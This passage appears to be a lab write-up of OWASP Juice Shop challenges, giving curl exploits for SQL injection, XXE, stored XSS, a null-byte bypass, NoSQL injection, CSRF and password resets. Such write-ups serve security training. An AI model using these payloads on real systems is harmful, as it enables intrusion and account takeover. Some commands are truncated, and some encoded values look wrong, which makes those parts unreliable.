  -H "Authorization: Bearer $T" -H 'Content-Type: application/json' \
  --data '{"ProductId":1,"BasketId":'$BID',"quantity":-1}'
```

2. Check out the basket: POST `/rest/basket/:id/checkout` (any `paymentMode`).
- Verification: the checkout handler solves `negativeOrderChallenge` when the computed `totalPrice < 0`; the PDF order shows a negative total.

5. XXE Data Access

Difficulty: ★★★ | Vulnerability class: CWE-611 (Improper Restriction of XML External Entity Reference)

- Attack surface: POST `/file-upload` (file part, `.xml`)
- Root cause: the `libxml2`-based parser resolves external entities and echoes the parsed document back inside the 410 error message.
- Exploit:
 1. Write `xxe.xml`:

```
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```

2. `curl -s -F "file=@xxe.xml" https://<host>/file-upload`

- Verification: the 410 response body contains the error text with /etc/passwd content echoed (400-char truncation);
xxeFileDisclosureChallenge solved.

6. Database Schema

Difficulty: ★★★ | Vulnerability class: CWE-89 (SQL Injection)

- Attack surface: GET /rest/products/search?q= (raw SQLite query, 9-column result)
- Root cause: search terms are concatenated into SQL without parameterization.
- Exploit: UNION-select sqlite_master.sql to dump the whole schema (9 columns → 1 selected + 8 placeholders):

```
curl -s "https://<host>/rest/products/search?q=x')) UNION
SELECT sql,1,2,3,4,5,6,7,8 FROM sqlite_master--"
```

The response rows contain every CREATE TABLE statement, including the SecurityAnswers table whose answer column holds the HMAC values of the security-question answers (compare with HMAC-SHA256(answer, 'pa4qacea4VK9t9nGv7yZtwmj')).

- Verification: dbSchemaChallenge solves once all definitions returned by SELECT sql FROM sqlite_master appear in the response; full schema captured.

7. CAPTCHA Bypass

Difficulty: ★★★ | Vulnerability class: CWE-799 (Improper Control of Interaction Frequency)

- Attack surface: GET /rest/captcha/ + POST /api/Feedbacks/
- Root cause: a captcha id/answer pair is never invalidated, so the same pair can be replayed; the verifier counts ≥ 10 rapid captcha-gated submissions.
- Exploit: fetch one captcha, then post ≥ 10 feedbacks within ~20 s reusing the same captchaId and answer:

```
for i in $(seq 1 12); do
  curl -s -X POST https://<host>/api/Feedbacks/ -H 'Content-Type: application/json' \
    --data '{"captchaId":N,"captcha":"<answer>","comment":"spam '$i'", "rating":1}'
done
```

- Verification: after the burst the request-handler middleware (captchaReqId counter) flips captchaBypassChallenge; the score board confirms.

8. Product Tampering

Difficulty: ★★★ | Vulnerability class: CWE-79 (Content Injection into Product Data)

- Attack surface: PUT /api/Products/:id (admin)
- Root cause: product descriptions can be overwritten via the API and are not validated; the challenge expects the O-Saft product (id 9) to link to https://owasp.slack.com.
- Exploit:
 1. Admin session, then set the description of product 9 to contain the anchor:


```
curl -s -X PUT https://<host>/api/Products/9 \
  -H "Authorization: Bearer $T" -H 'Content-Type: application/json' \
  --data '{"description": "...<a href=\"https://owasp.slack.com\" target=\"_blank\">\"}{'
```
 2. Trigger the check with any follow-up API request (GET /api/Products/).
- Verification: changeProductChallenge (Product Tampering) solves on the next request once description contains the expected link and no longer the original one.

9. Security Advisory (CSAF)

Difficulty: ★★★ | Vulnerability class: CWE-200 (Exposure of Internal Verification Data)

- Attack surface: POST /api/Feedbacks/
- Root cause: the challenge is solved by submitting the value of the internal config key challenges.csafHashValue (the CSAF advisory self-checksum) as free text — the verifier LIKES a feedback/complaint against it.
- Exploit:
 1. Recover the full checksum string (pinned v20.2.0 config / challenges.csafHashValue); documented prefix/suffix: 7e7ce7c6...42e843.

2. Fetch a captcha (GET /rest/captcha/) and POST a feedback whose comment contains the hash:

```
curl -s -X POST https://<host>/api/Feedbacks/ -H 'Content-Type: application/json' \
  --data '{"captchaId":N,"captcha":"<answer>","rating":5,"comment":"a checksum <csafHashValue>"}'
```

- Verification: background scanner (databaseRelatedChallenges) matches the comment and solves csafChallenge.

10. Vulnerable Infrastructure

Difficulty: ★★★ | Vulnerability class: CWE-937 / CWE-1104 (Use of Known-Vulnerable Component)

- Attack surface: POST /api/Complaints/
- Root cause: the app depends on MongoDB 4.4.29 (end-of-life); the "inform the shop" verifier scans complaint text for the pair mongo + 4.4.29.
- Exploit: submit a natural complaint containing both tokens (avoid verbatim source text):

```
curl -s -X POST https://<host>/api/Complaints/ -H "Authorization: Bearer $T" \
  -H 'Content-Type: application/json' \
  --data '{"message":"Your mongo database version 4.4.29 reached end of life and is vulnerable - please upgrade it."}'
```

- Verification: vulnerableDockerImageChallenge (Vulnerable Infrastructure) solves once the complaint row matches both %mongo% and %4.4.29%.

11. Deluxe Fraud

Difficulty: ★★★ | Vulnerability class: CWE-840 (Business Logic Errors)

- Attack surface: POST /rest/deluxe-membership
- Root cause: only paymentMode == wallet or card are charged/validated; any other value sails through and upgrades the account for free.
- Exploit:

```
curl -s -X POST https://<host>/rest/deluxe-membership \
  -H "Authorization: Bearer $T" -H 'Content-Type: application/
```

```
json' \  
--data '{"UserId":<your id>,"paymentMode":"fake"}'
```

- Verification: response "You are now a deluxe member!" plus a fresh deluxe token; freeDeluxeChallenge solved.

12. CSRF

Difficulty: ★★★ | Vulnerability class: CWE-352 (Cross-Site Request Forgery)

- Attack surface: POST /profile (cookie-token route)
- Root cause: the token cookie is sent automatically by browsers and the profile change is protected only by a weak Origin allowlist that includes `http://htmledit.squarefree.com`.
- Exploit (replay of the cross-site request; real browsers need no custom header):
 1. Log in so the token cookie is set.
 2. POST a username change carrying an allowlisted cross-site Origin:

```
curl -s -X POST https://<host>/profile \  
-b "token=$T" -b "$C" \  
-H "Origin: http://htmledit.squarefree.com" \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode "username=csrf-changed"
```

- Verification: csrfChallenge solves (Origin/referer contains the allowlisted host and the username changed); GET /profile renders the new name.

13. Privacy Policy Inspection

Difficulty: ★★★ | Vulnerability class: CWE-200 (Hidden Asset / Security through Obscurity)

- Attack surface: GET /we/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility
- Root cause: the privacy policy text embeds a hidden link to a proof image on a route that is only discoverable by reading the fine print.
- Exploit:

```
curl -s https://<host>/we/may/also/instruct/you/to/refuse/all/  
reasonably/necessary/responsibility -o proof.jpg
```

- Verification: the route solves `privacyPolicyProofChallenge` on serving `thank-you.jpg` (the "You should decide for the greater good" proof image).

14. Upload Size

Difficulty: ★★★ | Vulnerability class: CWE-400 (Unconstrained Resource Consumption)

- Attack surface: `POST /file-upload`
- Root cause: uploads larger than 100,000 bytes are not rejected; the verifier simply checks `file.size > 100000`.
- Exploit (keep an allowed extension so no other verifier fires):

```
head -c 100001 /dev/urandom > big.pdf
curl -s -F "file=@big.pdf" https://<host>/file-upload
```

- Verification: `uploadSizeChallenge` solved on the multipart handling regardless of the deprecation error returned.

15. Upload Type

Difficulty: ★★★ | Vulnerability class: CWE-434 (Unrestricted Upload of Dangerous File Type)

- Attack surface: `POST /file-upload`
- Root cause: the extension allowlist (`pdf, xml, zip, yml, yaml`) is the only gate and is enforced after the challenge check runs.
- Exploit (any other extension solves it):

```
printf 'garbage' > shell.html
curl -s -F "file=@shell.html" https://<host>/file-upload
```

- Verification: `uploadTypeChallenge` solves because the extension is outside the allowlist; the server rejects the file but the flag is already set.

16. Admin Registration

Difficulty: ★★★ | Vulnerability class: CWE-269 / CWE-915 (Improper Privilege Management via mass assignment)

- Attack surface: `POST /api/Users/`

- Root cause: the registration handler persists the request body as-is, so role is mass-assignable.
- Exploit:

```
curl -s -X POST https://<host>/api/Users/ -H 'Content-Type: application/json' \
  --data '{"email":"admin2@example.com","password":"P@ssw0rd!","password
```

- Verification: response 201 with "role":"admin"; the registerAdminChallenge middleware fires on req.body.role === 'admin'; logging in grants the administration section.

17. Reset Jim's Password

Difficulty: ★★★ | Vulnerability class: CWE-640 (Weak Password Recovery) + CWE-321 (Static HMAC key)

- Attack surface: POST /rest/user/reset-password (+ GET /rest/user/security-question?email=)
- Root cause: answers are checked only against HMAC-SHA256(answer, 'pa4qacea4VK9t9nGv7yZtwmj '), and Jim's answer is the documented Samuel.
- Exploit:

```
curl -s -X POST https://<host>/rest/user/reset-password -H 'Content-Type: application/json' \
  --data '{"email":"jim@juice-sh.op","answer":"Samuel","new":"JimNewPass123!","repeat":"JimNe
```

- Verification: resetPasswordJimChallenge solves server-side on reset (user.id === jim && answer === 'Samuel'); log in with the new password to confirm.

18. Bjoern's Favorite Pet (OWASP reset)

Difficulty: ★★★ | Vulnerability class: CWE-640 (Weak Password Recovery)

- Attack surface: POST /rest/user/reset-password
- Root cause: reset of bjoern@owasp.org is protected only by the pet-name answer Zaya.
- Exploit:

```
curl -s -X POST https://<host>/rest/user/reset-password -H 'Content-Type: application/json' \
```

```
--data  
'{"email":"bjoern@owasp.org","answer":"Zaya","new":"ZayaReset12"
```

- Verification: resetPasswordBjoern0waspChallenge solves on reset; the new password authenticates.

19. GDPR Data Erasure (Ghost Login)

Difficulty: ★★★ | Vulnerability class: CWE-285 (Improper Authorization after Erasure)

- Attack surface: POST /dataerasure + POST /rest/user/login
- Root cause: data erasure only wipes the account's personal data/ logs a deletion request while the authentication row stays usable; the erased identity can still be logged into afterwards — the "ghost login". The register target account is the erased seed user chris.pike@juice-sh.op.
- Exploit:
 1. In control of the account, submit the GDPR erasure form: POST /dataerasure (authenticated via the token cookie; answer the security question); the session is cleared.
 2. Log back in with the same credentials (password storage is untouched by erasure):

```
curl -s -X POST https://<host>/rest/user/login -H 'Content-Type: application/json' \  
  --data '{"email":"chris.pike@juice-sh.op","password":"<redacted recovered password>"}
```

- Verification: post-login verifier (user.id === users.chris.id) flips ghostLoginChallenge; /rest/user/whoami returns the erased identity. (gdprDataErasureChallenge is the same finding.)

20. API-only XSS

Difficulty: ★★★ | Vulnerability class: CWE-79 (Stored XSS)

- Attack surface: PUT /api/Products/:id (raw REST, no UI)
- Root cause: the product description setter runs the persisted-XSS solve check while the challenge is unsolved and applies no sanitizer, so a payload delivered purely over the API (never typed in the UI) persists.
- Exploit:


```
curl -s -X PUT https://<host>/api/Products/1 \
  -H "Authorization: Bearer $T" -H 'Content-Type: application/
json' \
  --data '{"description":"<iframe src=\"javascript:alert(`xss`)
\">\"}'
```

- Verification: `restfulXssChallenge` (API-only XSS) solves in the model setter; GET `/api/Products/1` returns the raw payload.

21. Login Amy

Difficulty: ★★★ | Vulnerability class: CWE-522 (Insufficiently Protected Credentials)

- Attack surface: POST `/rest/user/login`
- Root cause: Amy's seed credentials were disclosed in application data (photo wall / public seed), enabling a direct credential login.
- Exploit:

```
curl -s -X POST https://<host>/rest/user/login -H 'Content-
Type: application/json' \
  --data '{"email":"amy@juice-sh.op","password":"<redacted>"}'
```

- Verification: pre-login verifier matches `amy@juice-sh.op` + the disclosed password and solves `loginAmyChallenge`.

22. Login Bender

Difficulty: ★★★ | Vulnerability class: CWE-522 (Insufficiently Protected Credentials)

- Attack surface: POST `/rest/user/login`
- Root cause: Bender's account credentials are recoverable from application data / reset surface; the verifier keys on the logged-in user id.
- Exploit:

```
curl -s -X POST https://<host>/rest/user/login -H 'Content-
Type: application/json' \
  --data '{"email":"bender@juice-
sh.op","password":"<redacted>"}'
```

- Verification: post-login verifier (`user.id === users.bender.id`) solves `loginBenderChallenge` (resetting Bender first — answer `Stop'n'Drop`, 4★ — also yields a working login).

23. Login Jim

Difficulty: ★★★ | Vulnerability class: CWE-522 (Insufficiently Protected Credentials)

- Attack surface: `POST /rest/user/login`
- Root cause: Jim's account can be signed into once his password is known (e.g. via his weak security question, reset answer Samuel); the verifier keys on the logged-in user id.
- Exploit:

```
curl -s -X POST https://<host>/rest/user/login -H 'Content-Type: application/json' \
  --data '{"email":"jim@juice-sh.op","password":"<redacted or password set in #17>"}'
```

- Verification: post-login verifier (`user.id === users.jim.id`) solves `loginJimChallenge`.

24. Client-side XSS Protection

Difficulty: ★★★ | Vulnerability class: CWE-79 (Stored XSS via registration)

- Attack surface: `POST /api/Users/`
- Root cause: the check lives on the **email** setter, not the username. While the challenge is unsolved, `models/user.ts` runs `solveIf(..., () => email?.includes('<iframe src="javascript:alert(xss)">'))` and skips sanitisation of email entirely — so the payload is valid *as the email address*.
- Exploit: register with the payload in the email field:

```
curl -s -X POST https://<host>/api/Users/ -H 'Content-Type: application/json' \
  --data '{"email":"<iframe src=\"javascript:alert(`xss`)\">","password":"xss123","passwordRepeat":"xss123"}'
```

- Verification: the email setter flips the challenge immediately on registration; no browser/UI step involved.

25. System Prompt Extraction

Difficulty: ★★★ | Vulnerability class: CWE-200 (Exposure of Internal System Prompt)

- Attack surface: POST /api/Complaints/ (verifier polls the Complaints table)
 - Root cause: **not LLM-gated**. routes/verify.ts (databaseRelatedChallenges → systemPromptExtractionChallenge) runs on ordinary HTTP requests and solves as soon as *any complaint message* is textually similar to buildSystemPrompt() — checkSystemPromptSimilarity is a Dice-coefficient comparison (threshold 0.25) over the lower-cased, trimmed text. No /rest/chat call, no working LLM API required (the chat backend was unreachable in this deployment).
 - Exploit:
 1. Reconstruct the prompt from the pinned upstream v20.2.0 source (routes/chat.ts, buildSystemPrompt()): it is static boilerplate filled with the shop's own config (application.chatBot.name = the bot name, application.name) plus the chatted user's username — all derivable from shop data/config without any model interaction.
 2. Submit the recovered prompt text as a complaint message:

```
curl -s -X POST https://<host>/api/Complaints/ -H
"Authorization: Bearer $T" \
  -H 'Content-Type: application/json' \
  --data '{"message":"You are \"Juicy the Smart
Assistant\", the friendly customer service chatbot ...
<full reconstructed prompt>"}'
```
 3. Trigger the scanner with any follow-up request (e.g. GET /api/Challenges/).
 - Verification: systemPromptExtractionChallenge solves once the Dice coefficient between the complaint and the server-side reference prompt reaches ≥ 0.25 — confirmed even though the LLM endpoint itself was down.
-

4-Star Challenges (26)

Writeups for the twenty-six ★★★★★ challenges (findings 54–78 in JUICE.md). Numbering below is 1–26. Mapping to the findings list and to the "★★★★ (26):" register line: 1–4 → 54–57 · 5–6 → 58 (Easter Egg / Nested Easter Egg) · 7–16 → 59–68 · 17–20 → 69–72 · 21–24 → 73–76 · 25–26 → 77–78. (**team activity**) entries were solved on the shared team instance and are described at register level; the rest were performed and verified directly.

Prerequisites — Juice Shop v20.2.0 behind the MultiJuicer proxy: every request needs the multi-juicer session cookie, else the proxy 302s to /multi-juicer. Most /rest+/api routes use Authorization: Bearer <jwt>; /profile, /rest/user/whoami, /rest/image-captcha, /rest/user/data-export read the JWT from the token cookie / in-memory store. \$BASE = https://<proxy-host>/ (cookie attached); \$TOKEN = bearer JWT from POST /rest/user/login. Payloads with embedded quotes are best sent as body files (-d @body.json). See ../environment-setup.md and ../authentication-model.md.

1. Poison Null Byte

Difficulty: ★★★★★ | Vulnerability class: CWE-158 (Improper Null Termination) / CWE-434 (unrestricted file download)

- Attack surface: GET /ftp/:file (extension allowlist)
- Root cause: The FTP handler validates the request file name *before* any null byte is processed — file.endsWith('.md') or '.pdf' passes the check — and only afterwards truncates at %00 (security.cutOffPoisonNullByte). Because the route parameter is URI-decoded only once, a **double-encoded** %2500 survives the check as a literal %00 and is cut off before the file is served, so the allowlist never sees the real extension.
- Exploit: pick any non-allowed file listed in /ftp and append %2500.md:

```
curl -k -s "$BASE/ftp/eastere.gg%2500.md"
curl -k -s "$BASE/ftp/package.json.bak%2500.md"
curl -k -s "$BASE/ftp/coupons_2013.md.bak%2500.md"
curl -k -s "$BASE/ftp/suspicious_errors.yml%2500.md"
```

- Verification: server returns the blocked file's body instead of 403
Only .md and .pdf files are allowed!; the challenge flips to solved

on the response (the same trick auto-solves the sibling file challenges 2, 3, 5 and 7). A direct solve is also triggered by retrieving `encrypt.pyc`.

2. Misplaced Signature File

Difficulty: ★★★★★ | Vulnerability class: CWE-538 (insertion of sensitive data into publicly-accessible area)

- Attack surface: `GET /ftp/suspicious_errors.yml%2500.md`
- Root cause: A SIEM/Sigma **detection-signature file** (`suspicious_errors.yml`, author: Bjoern Kimminich) that was meant for operational use only was left inside the web-accessible `/ftp` tree; the only thing standing between it and the public is the extension allowlist.
- Exploit: reuse the poison-null-byte bypass from challenge 1:

```
curl -k -s "$BASE/ftp/suspicious_errors.yml%2500.md"
```

The YAML holds the shop's internal detection rules (e.g. Blocked illegal activity, Only * files are allowed).

- Verification: 200 with the Sigma YAML body and the challenge marked solved.

3. Forgotten Developer Backup

Difficulty: ★★★★★ | Vulnerability class: CWE-530 (exposure of backup files)

- Attack surface: `GET /ftp/package.json.bak%2500.md`
- Root cause: A developer's backup of the application manifest (`package.json.bak`, header version 6.2.0-SNAPSHOT) was committed to the `ftp/` folder and is exposed by the same weak extension check as challenge 1. It leaks the full dependency tree and pinned versions — the reconnaissance source for challenges 12, 15 and 19.
- Exploit:

```
curl -k -s "$BASE/ftp/package.json.bak%2500.md"
```

- Verification: 200 with the JSON manifest (note `"express-jwt": "0.1.3"`, `"epilogue-js": "~0.7"`); the challenge solves on retrieval.

4. Access Log

Difficulty: ★★★★★ | Vulnerability class: CWE-532 (sensitive info written to an exposed log file)

- Attack surface: GET /support/logs (auto-index) and GET /support/logs/:file
- Root cause: The Express request-log stream is written to the logs/ directory and a developer left that whole directory browsable and downloadable via /support/logs, which maps straight onto logs/:file (routes/logfileServer.ts) — no authentication.
- Exploit:

```
curl -k -s "$BASE/support/logs" # directory listing
curl -k -s "$BASE/support/logs/access.log.$(date +%F)"
```

The daily access.log.<YYYY-MM-DD> file carries full morgan 'combined' output — the same logs that later leak the 5★ J12934@juice-sh.op password.

- Verification: 200 with raw combined-format log lines; challenge solved on the first successful log download.

5. Easter Egg

Difficulty: ★★★★★ | Vulnerability class: CWE-200 (hidden content in publicly-served directory)

- Attack surface: GET /ftp/eastere.gg%2500.md
- Root cause: The developers' "real" easter egg file eastere.gg sits in the browsable /ftp folder alongside the other backup files and is protected only by the same extension allowlist.
- Exploit:

```
curl -k -s "$BASE/ftp/eastere.gg%2500.md"
```

The file greets the finder and then points at a single Base64 blob which leads to challenge 6.

- Verification: challenge solves on retrieval of eastere.gg (the file-access verifier watches for exactly this file name).

6. Nested Easter Egg

Difficulty: ★★★★★ | Vulnerability class: CWE-200 (hidden route reachable by cryptanalysis)

- Attack surface: the route hidden inside `eastere.gg` (served by `routes/easterEgg.ts`)
- Root cause: The "egg inside the egg" is protected only by **obfuscation**: the hint in `eastere.gg` is double-encoded (Base64 → ROT13) and must be decoded to reveal a URL path the developers thought no one would find.
- Exploit: peel the layers off the blob from challenge 5:

```
echo '<blob from eastere.gg>' | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m' # base64 -> ROT13
```

This reveals the hidden dev route; GET it:

```
curl -k -s "$BASE/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg"
```

- Verification: 200 with the private `threejs-demo.html` asset and the challenge solved as soon as the route is hit.

7. Forgotten Sales Backup

Difficulty: ★★★★★ | Vulnerability class: CWE-530 (exposure of backup files)

- Attack surface: `GET /ftp/coupons_2013.md.bak%2500.md`
- Root cause: A sales representative's backup of historical (2013) campaign coupon codes was left in the `ftp/` folder, readable via the null-byte bypass — background for the 2013 coupon campaigns (challenges 22, 24).
- Exploit:

```
curl -k -s "$BASE/ftp/coupons_2013.md.bak%2500.md"
```

- Verification: 200 with the coupon list (e.g. codes like `n<MibgC7sn`); challenge solves on retrieval.

8. Christmas Special

Difficulty: ★★★★★ | Vulnerability class: CWE-89 (SQL injection) +
CWE-841 (business-logic abuse of soft-deleted records)

- Attack surface: GET /rest/products/search?q= (SQLi), POST /api/BasketItems/, checkout
- Root cause: The 2014 "Christmas Super-Surprise-Box" still exists in the Products table but was **soft-deleted** (deletedAt set). The search query appends AND deletedAt IS NULL, so it never appears in the shop — but the basket API will happily reference its id anyway.
- Exploit:
 1. Find the deleted product's row and id with a 9-column UNION on the search endpoint that ignores the deletedAt filter:

```
curl -k -sG "$BASE/rest/products/search" \
  --data-urlencode "q=x')) UNION SELECT
    id,name,description,price,deluxePrice,image,createdAt,updatedAt,deletedAt
  FROM Products WHERE deletedAt IS NOT NULL--"
```

The deleted row reads Christmas Super-Surprise-Box (2014 Edition).

2. Add it to your own basket directly via the API (the frontend refuses out-of-stock items, the API does not):

```
curl -k -s -X POST "$BASE/api/BasketItems/" -H
  "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"ProductId": <christmas-id>, "BasketId": <your-basket>, "quantity": 1}'
```

3. Check the basket out (POST /rest/basket/:id/checkout).
- Verification: order placement iterates the basket items and solves the challenge as soon as one item is the Christmas-special product id; the receipt PDF likewise shows the product line.

9. Ephemeral Accountant

Difficulty: ★★★★★ | Vulnerability class: CWE-89 (SQL injection in authentication query)

- Attack surface: POST /rest/user/login (email field)
- Root cause: The login query interpolates req.body.email into a raw SQL SELECT ... FROM Users WHERE email = '...' AND password = '...'. The accountant acc0unt4nt@juice-sh.op does **not** exist in the database (it is deliberately auto-created and auto-deleted, and

registration with that address is blocked), so the only way to authenticate as him is to *synthesize the row out of thin air* with a UNION, which never touches the Users table.

- Exploit: log in with a UNION payload that fabricates a full Users row (role = accounting); the trailing -- neutralizes the password check, so the password value is arbitrary:

```
curl -k -s -X POST "$BASE/rest/user/login" -H 'Content-Type: application/json' -d '{
  "email": "' UNION SELECT * FROM (SELECT 15 as 'id', '' as
    'username', 'acc0unt4nt@juice-sh.op' as 'email',
    '12345' as 'password', 'accounting' as 'role', '' as
    'deluxeToken', '1.2.3.4' as 'lastLoginIp', '/assets/
    public/images/uploads/default.svg' as 'profileImage',
    '' as 'totpSecret', 1 as 'isActive', '1999-08-16
    14:14:41.644 +00:00' as 'createdAt', '1999-08-16
    14:33:41.930 +00:00' as 'updatedAt', null as
    'deletedAt')--",
  "password": "whatever"
}'
```

Do **not** register acc0unt4nt@juice-sh.op first — the verifier only solves when the real Users table contains zero rows for that email.

- Verification: login succeeds and returns a token; the challenge verifier confirms role === 'accounting' with count === 0 in the users table.

10. Steganography

Difficulty: ★★★★★ | Vulnerability class: CWE-200 (content hidden in plain sight via steganography)

- Attack surface: shop images (asset images in /assets/public/images/...) + POST /api/Feedbacks/
- Root cause: A well-known character is hidden **inside one of the shop's images** using steganography. It is invisible to the naked eye and needs dedicated tooling to extract; the shop "rats out" the culprit once the exact character name is reported via the feedback form.
- Exploit:
 1. Mirror the shop's images and run stego analysis on each (e.g. steghide/zsteg, LSB/colour-plane checks) until the hidden character is revealed behind the support-team photo.
 2. Report the character's exact name in a feedback comment so the "inform-the-shop" verifier matches it:

```
curl -k -s -X POST "$BASE/api/Feedbacks/" -H
  "Authorization: Bearer $TOKEN" -H 'Content-Type:
  application/json' -d '{"rating": 5, "comment":
  "<character is hiding behind the support team>",
  "captchaId": <id>, "captcha": <answer>}'
```

captcha id/answer come from GET /rest/captcha/.

- Verification: challenge solves on the next verification pass when the feedback comment contains the character name (pickle rick).

11. HTTP-Header XSS

Difficulty: ★★★★★ | Vulnerability class: CWE-79 (stored XSS via unvalidated HTTP header)

- Attack surface: GET /rest/saveLoginIp with the proprietary True-Client-IP header
- Root cause: After each login the SPA calls /rest/saveLoginIp, which trusts the **True-Client-IP** request header as the user's last-login IP and stores it **unsanitized** into lastLoginIp — a header the application itself never sets. That value is later rendered into the administration view of the users table.
- Exploit: fire the endpoint yourself with the XSS payload in the header (requires a valid bearer token so the route can resolve the logged-in user):

```
curl -k -s -X GET "$BASE/rest/saveLoginIp" -H "Authorization:
  Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'True-Client-IP: <iframe src="javascript:alert(`xss`)">'
```

- Verification: the response JSON shows the stored lastLoginIp equal to the payload and the challenge solves (lastLoginIp === '<iframe src="javascript:alert(xss)">'); the payload then fires when an admin views the affected user row.

12. Vulnerable Library

Difficulty: ★★★★★ | Vulnerability class: CWE-1104 (use of an unmaintained / known-vulnerable third-party component)

- Attack surface: POST /api/Feedbacks/ (Or /api/Complaints/) — "inform the shop"
- Root cause: The developer backup (challenge 3) reveals the app once pinned express-jwt to **0.1.3** (and sanitize-html to **1.4.2**) —

versions with known high-severity vulnerabilities. The verifier scans submitted feedback for a library name **and** version.

- Exploit: report the vulnerable dependency naturally (anti-cheat compares against source files, so phrase it like a human finding, not a code dump):

```
curl -k -s -X POST "$BASE/api/Feedbacks/" -H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"rating": 5, "comment": "The express-jwt 0.1.3 dependency has a known high-severity vulnerability", "captchaId": <id>, "captcha": <answer>}'
```

- Verification: challenge solves when feedback/ complaint mentions express-jwt + 0.1.3 (equivalently sanitize-html + 1.4.2).

13. NoSQL Manipulation

Difficulty: ★★★★★ | Vulnerability class: CWE-943 (NoSQL injection via query operators)

- Attack surface: PATCH /rest/products/reviews (update review)
- Root cause: The review-update handler forwards the caller-supplied id straight into the Mongo/MarsDB update selector — update({ _id: req.body.id }, { \$set: { message } }, { multi: true }) — with no type check. Passing a **query-operator object** instead of a scalar _id makes the selector match many documents at once, and multi: true rewrites them all.
- Exploit:

```
curl -k -s -X PATCH "$BASE/rest/products/reviews" -H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"id": {"$gt": 0}, "message": "updated in bulk"}'
```

{ _id: { \$gt: 0 } } matches essentially every review document.

- Verification: the JSON response reports "modified": <n> with n > 1 (challenge check: result.modified > 1).

14. Login Bjoern (OAuth)

Difficulty: ★★★★★ | Vulnerability class: CWE-798 (derivable/hard-coded credential in the OAuth flow)

- Attack surface: POST /rest/user/login (pre-login credential check)

- Root cause: The shop's Google OAuth integration derives the account password **deterministically from the email** as `base64(reversed_email)`, so any Gmail address's "OAuth password" is computable — no reset, SQLi or Google compromise needed. It is verified as a pre-login check on the login endpoint.
- Exploit:

```
python3 -c "import base64;
          print(base64.b64encode('moc.liamg@hcinimmik.nreobjb'.encode()).decode())
# bW9jLmxpYWlnQGhjaW5pbWlpay5ucmVvamI=
curl -k -s -X POST "$BASE/rest/user/login" -H 'Content-Type:
      application/json' \
      -d '{"email": "bjoern.kimminich@gmail.com", "password":
          "bW9jLmxpYWlnQGhjaW5pbWlpay5ucmVvamI="}'
```

- Verification: login returns 200 with a valid token for Bjoern's Gmail account and the challenge is solved by the pre-login check (email + derived password match exactly).

15. Server-side XSS Protection

Difficulty: ★★★★★ | Vulnerability class: CWE-79 (stored XSS) + CWE-116 (improper output encoding / non-recursive sanitizer)

- Attack surface: `POST /api/Feedbacks/` (comment field)
- Root cause: Feedback comments pass through `sanitize-html 1.4.2` (challenge 12) in a **single, non-recursive** pass. The sanitizer removes the *masking* `<script>` block but leaves the rest of the line intact, so the survivors reassemble into the exact attack tag.
- Exploit: post feedback whose comment wraps the payload in a disposable `<script>` so the sanitizer eats only the mask:

```
curl -k -s -X POST "$BASE/api/Feedbacks/" -H "Authorization:
      Bearer $TOKEN" \
      -H 'Content-Type: application/json' \
      -d '{"rating": 5, "comment": "<<script>Foo</script>iframe
          src=\"javascript:alert(`xss`)\">", "captchaId": <id>,
          "captcha": <answer>}'
```

Sanitized result: `<iframe src="javascript:alert(`xss`)">`. The alert fires wherever feedback is rendered (e.g. the about/administration screens).`

- Verification: `GET /api/Feedbacks` shows the persisted comment reassembled into the iframe payload; challenge solves at write time because the model setter checks the sanitized output.

16. Allowlist Bypass

Difficulty: ★★★★★ | Vulnerability class: CWE-601 (open redirect past an allowlist)

- Attack surface: GET /redirect?to=...
- Root cause: The redirect guard allows any URL that **contains** an allowlisted string (`url.includes(allowedUrl)`) while the "unintended redirect" check uses `startsWith` — so a relative URL that embeds an allowlisted string as a query parameter passes the allowlist yet does not start with any allowed URL, and the server redirects off-allowlist.
- Exploit:

```
curl -k -sI "$BASE/redirect?to=/score-board?
satisfyIndex0f=https://github.com/juice-shop/juice-shop"
```

The `to` value contains the allowlisted GitHub URL (passes `includes`) but resolves to the local SPA route (fails `startsWith` for every allowed URL).

- Verification: HTTP/1.1 302 Location: /score-board?satisfyIndex0f=... follows through to the app and the challenge flips to solved.

17. Reset Bender's Password

Difficulty: ★★★★★ | Vulnerability class: CWE-640 (weak password recovery) + OSINT

- Attack surface: POST /rest/user/reset-password
- Root cause: Security-question answers are verified against `HMAC-SHA256(answer, 'pa4qacea4VK9t9nGv7yZtwmj')` and Bender answered his question **truthfully**. The correct answer is publicly knowable from the character's canon.
- Exploit:

```
curl -k -s -X POST "$BASE/rest/user/reset-password" -H
'Content-Type: application/json' \
-d '{"email": "bender@juice-sh.op", "answer":
  "Stop'\n'Drop", "new": "<new-password>",
  "repeat": "<new-password>"}'
```

- Verification: 200 with the updated user object; the verifier checks `user.id === bender.id && answer === "Stop'n'Drop"`.

18. Reset Uvogin's Password

Difficulty: ★★★★★ | Vulnerability class: CWE-640 (weak password recovery) + OSINT

- Attack surface: POST /rest/user/reset-password
- Root cause: Same HMAC-gated reset flow as challenge 17; Uvogin's answer was recovered by OSINT on the character's public persona/aliases.
- Exploit:

```
curl -k -s -X POST "$BASE/rest/user/reset-password" -H
      'Content-Type: application/json' \
      -d '{
        "email": "uvogin@juice-sh.op", "answer": "Silence of
        the Lambs", "new": "<new-password>", "repeat": "<new-
        password>"
      }'
```

- Verification: 200; verifier requires
user.id === uvogin.id && answer === "Silence of the Lambs".

19. Legacy Typosquatting

Difficulty: ★★★★★ | Vulnerability class: CWE-1104 / supply-chain typosquatting (CWE-1357)

- Attack surface: POST /api/Feedbacks/ (or /api/Complaints/) — "inform the shop"
- Root cause: The developer backup (challenge 3) lists the dependency "epilogue-js": "~0.7". The legitimate npm package is **epilogue** — epilogue-js is a typosquatted fork the app has been pulling in since at least v6.2.0-SNAPSHOT.
- Exploit: report the exact culprit name through the feedback form:

```
curl -k -s -X POST "$BASE/api/Feedbacks/" -H "Authorization:
      Bearer $TOKEN" \
      -H 'Content-Type: application/json' \
      -d '{"rating": 5, "comment": "The app depends on the
      typosquatted npm package epilogue-js", "captchaId":
